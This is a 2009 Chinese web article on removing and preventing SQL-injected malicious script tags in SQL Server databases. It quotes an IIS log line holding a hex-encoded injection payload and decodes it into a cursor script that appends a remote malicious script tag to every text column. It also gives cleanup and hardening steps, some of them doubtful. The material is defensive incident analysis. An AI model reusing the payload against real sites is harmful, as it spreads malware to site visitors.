蓝派网(www.lan27.com)-精选网络资源,分享和交流! 文章首页站内搜索在线手册广告代码酷站欣赏万年历
您现在的位置: 蓝派网 >> 文章中心 >> 网络编程 >> ASP >> 正文

解决数据库被挂马最快方法

作者:佚名    文章来源:网络    更新时间:2009-10-8 12:26:25

如果你的数据库中被写入了 <script src=http://3b%6Fmb.com/c.js></script>类似的木马,您可以采用这个方法快速的删除木马!

新建存储过程,然后允许就可以了

CREATE PROCEDURE dbo.ss AS

declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)

set @inScript='<script src=http://3b%6Fmb.com/c.js></script>'

declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

open table_cursor

fetch next from table_cursor into @t,@c

while(@@fetch_status=0)

begin

exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )

fetch next from table_cursor into @t,@c

end

close table_cursor

deallocate table_cursor;


当然我们也想看看他们是怎么挂上木马的.

IIS日志了,很意外的发现了一处代码:

2009-01-16 15:39:57 W3SVC1570028688 202.96.137.63 GET /hdjr.asp y=2008&m=10&d=21&word=%e5%ab%81%e5%a8%b6%25'%20;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E64617869613132332E636E2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--%20aNd%20'%25'=' 80 - 211.179.110.20 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0) 200 0 64

很显然state=200意味着什么,SQL里执行一下,看一下原形,

DECLARE @T VARCHAR(255),@C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor


解决方法

彻底杜绝SQL注入

1.不要使用sa用户连接数据库

2、新建一个public权限数据库用户,并用这个用户访问数据库

3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限

4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”

5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):

DECLARE @T varchar(255),

@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

Select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN print @c

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

---------------------------------------------------------------

c.js注入见鬼去吧!

在服务器的IIS中,找到这个被挂马的网站属性,主目录中―配置中---找到.asp及.aspx的影射,将里面的中的HEAD操作与TRACE操作删除,只保留GET与POST就可以解决,

注意删除HEAD操作与TRACE操作完全不会影响正常的网站访问.正常的网站并不需要这两个操作


发表评论】【打印此文】【关闭窗口】【点击数:
★好玩的休闲小游戏★